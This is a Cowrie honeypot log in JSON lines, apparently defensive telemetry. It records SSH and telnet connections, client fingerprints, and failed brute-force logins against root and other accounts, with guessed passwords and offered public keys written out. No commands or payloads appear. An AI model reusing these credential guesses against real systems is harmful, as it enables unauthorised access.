{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.511585Z","src_ip":"87.106.44.172","session":"91328030a86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57568,"dst_ip":"10.17.0.5","dst_port":22,"session":"77f052205e51","protocol":"ssh","message":"New connection: 103.15.226.202:57568 (10.17.0.5:22) [session: 77f052205e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.533419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.543696Z","src_ip":"103.15.226.202","session":"77f052205e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.797887Z","src_ip":"103.15.226.202","session":"77f052205e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zs!123456","message":"login attempt [root/Zs!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:14.919127Z","src_ip":"87.106.44.172","session":"91328030a86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wqjfw","password":"wqjfw","message":"login attempt [wqjfw/wqjfw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:15.562477Z","src_ip":"103.15.226.202","session":"77f052205e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:16.003708Z","src_ip":"87.106.44.172","session":"91328030a86c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:00:16.828398Z","src_ip":"103.15.226.202","session":"77f052205e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":53596,"dst_ip":"10.17.0.5","dst_port":22,"session":"18cd99125a7b","protocol":"ssh","message":"New connection: 87.106.44.172:53596 (10.17.0.5:22) [session: 18cd99125a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:10.858786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:10.883316Z","src_ip":"87.106.44.172","session":"18cd99125a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:10.959229Z","src_ip":"87.106.44.172","session":"18cd99125a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwe123","message":"login attempt [dev/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:11.341901Z","src_ip":"87.106.44.172","session":"18cd99125a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:12.434992Z","src_ip":"87.106.44.172","session":"18cd99125a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.191.217.215","src_port":38286,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b7afd5e7f20","protocol":"telnet","message":"New connection: 179.191.217.215:38286 (159.203.135.109:23) [session: 1b7afd5e7f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:28.042654Z"}
{"eventid":"cowrie.session.closed","duration":120.00798201560974,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:48.662407Z","src_ip":"212.55.149.117","session":"6f31d91f9bbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778639554977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:01:58.821207Z","src_ip":"179.191.217.215","session":"1b7afd5e7f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":45838,"dst_ip":"10.17.0.5","dst_port":22,"session":"78dc7d3f9135","protocol":"ssh","message":"New connection: 87.106.44.172:45838 (10.17.0.5:22) [session: 78dc7d3f9135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:02:11.072551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:02:11.091139Z","src_ip":"87.106.44.172","session":"78dc7d3f9135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:02:11.167207Z","src_ip":"87.106.44.172","session":"78dc7d3f9135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123qwe","message":"login attempt [root/Qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:02:11.655538Z","src_ip":"87.106.44.172","session":"78dc7d3f9135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:02:12.738403Z","src_ip":"87.106.44.172","session":"78dc7d3f9135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":41702,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d58874ff240","protocol":"ssh","message":"New connection: 87.106.44.172:41702 (10.17.0.5:22) [session: 4d58874ff240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:06.466446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:06.589333Z","src_ip":"87.106.44.172","session":"4d58874ff240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:06.665082Z","src_ip":"87.106.44.172","session":"4d58874ff240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andre123","message":"login attempt [root/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:07.353101Z","src_ip":"87.106.44.172","session":"4d58874ff240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:08.435353Z","src_ip":"87.106.44.172","session":"4d58874ff240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":62922,"dst_ip":"10.17.0.5","dst_port":22,"session":"f02f60a48557","protocol":"ssh","message":"New connection: 103.176.90.41:62922 (10.17.0.5:22) [session: f02f60a48557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:37.990655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:37.995447Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.085916Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:50:17:62:2d:c9:29:de:98:e6:1c:9f:ee:41:4e:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6LfTIGmJ9nPUo3WHTVqbZHyHL0DPCsiuSNNfMZRlD5YU0Qge+dGTkxsQMXdGCapeciz3lA6LGz+eMaxrZTB6DvBaF1wfsMHEfgamptGNXlpw+POwV6cy2e8ZOHqHHwLtRvQcjE+I3MK7fXI6SG5fiL2o+nzLzti2voS6EAGHrlV0ntOGZch8yNl/DbyZeHlyGmPmBeAaDFa0GkPhFGvaZn58yPcRIqLWyLgNTz/jHQfIP1E6+zm8Vq4Nq98uagJ/zjLfZDtQLiFC/Bo1X4ksZ/0WCVHDb1MFcz5dTsb76D/Ip03Pa3DgG5htxL/xYNpr54oO3UAswqQb5UE9xhV6x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:50:17:62:2d:c9:29:de:98:e6:1c:9f:ee:41:4e:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.473823Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:50:17:62:2d:c9:29:de:98:e6:1c:9f:ee:41:4e:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6LfTIGmJ9nPUo3WHTVqbZHyHL0DPCsiuSNNfMZRlD5YU0Qge+dGTkxsQMXdGCapeciz3lA6LGz+eMaxrZTB6DvBaF1wfsMHEfgamptGNXlpw+POwV6cy2e8ZOHqHHwLtRvQcjE+I3MK7fXI6SG5fiL2o+nzLzti2voS6EAGHrlV0ntOGZch8yNl/DbyZeHlyGmPmBeAaDFa0GkPhFGvaZn58yPcRIqLWyLgNTz/jHQfIP1E6+zm8Vq4Nq98uagJ/zjLfZDtQLiFC/Bo1X4ksZ/0WCVHDb1MFcz5dTsb76D/Ip03Pa3DgG5htxL/xYNpr54oO3UAswqQb5UE9xhV6x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.477505Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:b4:75:2d:d5:09:64:7a:3b:0c:a0:81:d2:02:3a:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC01lMoko6X3g7adak7msQevLleNxns+tu0MnQzsuuYdMmVi6eDSlt+GfdQbBWySjqggEXzZNmnsq0RklAKd7c6RWHsm/Im8qZ00vgOeN6lNUGsWpu+QPqDNTTGqFwCD+mmEOR5lzaDtN1ldgJ4p3v5G+8mcFp7Hl8CnSza57akUySY9acZZVXHj0P0E51gZcF1Z1MRLRnd/YkfyIvQA+dTx2wGyfiagPO4v9puYEz03bIcpP3F19ZokI/X3brXSrbJS+DGOJxxC3NaC0XrPsImmJ605WkNEy7IH2L2iuBECBdWduErLzZCAXnJgNR/bW7tQk+6doP6haNu4TNlomk9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:b4:75:2d:d5:09:64:7a:3b:0c:a0:81:d2:02:3a:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.559515Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:b4:75:2d:d5:09:64:7a:3b:0c:a0:81:d2:02:3a:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC01lMoko6X3g7adak7msQevLleNxns+tu0MnQzsuuYdMmVi6eDSlt+GfdQbBWySjqggEXzZNmnsq0RklAKd7c6RWHsm/Im8qZ00vgOeN6lNUGsWpu+QPqDNTTGqFwCD+mmEOR5lzaDtN1ldgJ4p3v5G+8mcFp7Hl8CnSza57akUySY9acZZVXHj0P0E51gZcF1Z1MRLRnd/YkfyIvQA+dTx2wGyfiagPO4v9puYEz03bIcpP3F19ZokI/X3brXSrbJS+DGOJxxC3NaC0XrPsImmJ605WkNEy7IH2L2iuBECBdWduErLzZCAXnJgNR/bW7tQk+6doP6haNu4TNlomk9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.563036Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:64:0d:a7:e8:f2:9f:d1:4c:b4:d6:7b:06:a0:ae:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClFVXx9jwbatm02oyFBmoXotH5OJPj6pIvYTe3GkTKjHhYH6Vpf5NJCGfFkqQBmvYnYYoWAK/udV1fgOfKrHEiUKrMhjctckwPCf7iRlrbpzwY0QFuQQUDKzSvwocgpQ8JZb0feMvFkts/v3eAXo6yiOCHqW4fmRqWxX9A7XvUGYjCX8w/yh4rZvsfMPRvmsPUvhIqeXNGd3B/yC0XGFbsnxSq7nNJI26DxbEOl5tayJIFAHbxu3CmTu+t+uMAWPXaVKg6WtyerYdPjt2/iP7J6a6aX3cT2Y5xJZYKHYc97bDpPloOuMoFe83YbcHkdqHqjrh6pGAtnUAvTTuvumXX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:64:0d:a7:e8:f2:9f:d1:4c:b4:d6:7b:06:a0:ae:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.645741Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:64:0d:a7:e8:f2:9f:d1:4c:b4:d6:7b:06:a0:ae:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClFVXx9jwbatm02oyFBmoXotH5OJPj6pIvYTe3GkTKjHhYH6Vpf5NJCGfFkqQBmvYnYYoWAK/udV1fgOfKrHEiUKrMhjctckwPCf7iRlrbpzwY0QFuQQUDKzSvwocgpQ8JZb0feMvFkts/v3eAXo6yiOCHqW4fmRqWxX9A7XvUGYjCX8w/yh4rZvsfMPRvmsPUvhIqeXNGd3B/yC0XGFbsnxSq7nNJI26DxbEOl5tayJIFAHbxu3CmTu+t+uMAWPXaVKg6WtyerYdPjt2/iP7J6a6aX3cT2Y5xJZYKHYc97bDpPloOuMoFe83YbcHkdqHqjrh6pGAtnUAvTTuvumXX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.649120Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:31:0b:5f:b0:5a:1d:35:58:3f:33:42:18:3b:0c:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEvgnw/PNzOWbluIz+8fRyFD408Jimlhhwh+gHAPqvwQBrMn5iJJIG3ui1MysAkA5BPf6/qZuCPLV2y6KJ5i4hxJaUCpbGe7NQKv3btIEWd3f8Gz0JgB7U+i6D77ydSMeyd0NHgs8QNzuZK9TnglSnuvB+7cWRw2YzUwZFM5NiiBnAGg/qGSquuUXuCRzm+9EVNoeoOa8vE7ZS1QculLAi2p3/8ESfYFjp3J8Ytsiy++fk4yWBoPQpX6AA0z6d/mZkJwGAvJVyK6c6XveVqMbmygQNWFp81gZWR3pbeE9olafP0VSev4XwUMiN7m8Io1TKKG85xil++Ih5cVkB01HN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:31:0b:5f:b0:5a:1d:35:58:3f:33:42:18:3b:0c:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:03:38.730779Z","src_ip":"103.176.90.41","session":"f02f60a48557","protocol":"ssh"}
